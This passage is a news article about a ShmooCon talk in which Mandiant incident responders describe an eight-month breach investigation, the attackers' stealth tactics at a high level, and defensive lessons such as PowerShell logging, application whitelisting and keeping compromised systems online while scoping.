So, there was plenty of interest in a speech by the firm’s incident responders at last weekend’s digital security conference–ShmooCon–in Washington, D.C., where they described how they tackled one of the “largest and most advanced” cybersecurity breaches they’ve ever encountered. Matt Dunwoody and Nick Carr said that at its peak the breach infected as many as 10 systems per day across an unnamed client’s 100,000-system network.
“We identified at least 50,000 stolen emails and that’s probably just a fraction of what they actually took,” says Dunwoody, who, along with Carr, also spoke to Fast Company on Tuesday.
The pair says it took eight months to fully analyze, contain, and repair the breach—which taught them and also confirmed for them some key lessons about responding to security incidents.
One surprising piece of advice: Keep potentially compromised systems online to the extent possible until you’re sure of the extent of the breach. That can help keep attackers from realizing you’re aware of their presence and changing tactics to hide their approach, says Dunwoody.
“They attacker will know that you found them, and they’ll know what you found, and they’ll know what you didn’t find, and they’ll start to leverage that against you to make that more difficult in the future,” he says.
Often, as in the case of this breach, which they say took place within the past three years, attackers first gain access to a network through a tried-and-true technique like a malware-laden phishing email. But if security teams act too quickly to clean up a compromised workstation, they can miss where attackers have penetrated more deeply into a company’s systems.
“We believe they do a lot of loud activity followed by a lot of purposely stealthy activity,” says Carr of the attackers encountered in the breach.
The two declined to comment in detail about the identity of the attackers, who Carr says deliberately used different-looking malware files on different targeted machines, with each receiving commands from different web domains to avoid easy detection.
“Each of those domains are compromised, legitimate web infrastructure that the attacker has co-opted on their end,” he says. “You have legitimate SSL connections to seemingly legitimate websites that have good reputation scores, for instance.”
The team was ultimately able to track the breach by monitoring for certain telltale clues, like Windows registry entries for utility software installed by the hackers, even when they deleted other evidence.
The Mandiant team also boosted the client’s ability to monitor network traffic and log use of the Windows PowerShell command line environment. They also built tools to track the attackers’ exploitation of the Windows Management Instrumentation API to compromise systems—tools Carr says they continue to use in subsequent investigations.
That kind of automation helps investigators move quickly and avoid fatigue, he says.
“All the tech is an enabler, but on both sides it’s a battle of resources with a breach like this,” Carr says.
The pair advises working with a vendor experienced in handling security breaches once one is detected—“You need people that have been doing this everyday for years and have the backend infrastructure to support them,” says Dunwoody—and making sure security measures are in effect well beforehand.
Logging activity, like PowerShell commands, can help detect a breach, and taking steps like limiting how workstations connect to each other can keep one in check, he says.
And some security measures like maintaining a whitelist of permitted applications can help detect a breach even if hackers manage to circumvent them, says Carr.
“You make them have to take certain actions to evade the system you have in place, and then with those actions sometimes that they’re taking, there’s a higher chance that you’ll be able to catch that activity,” he says.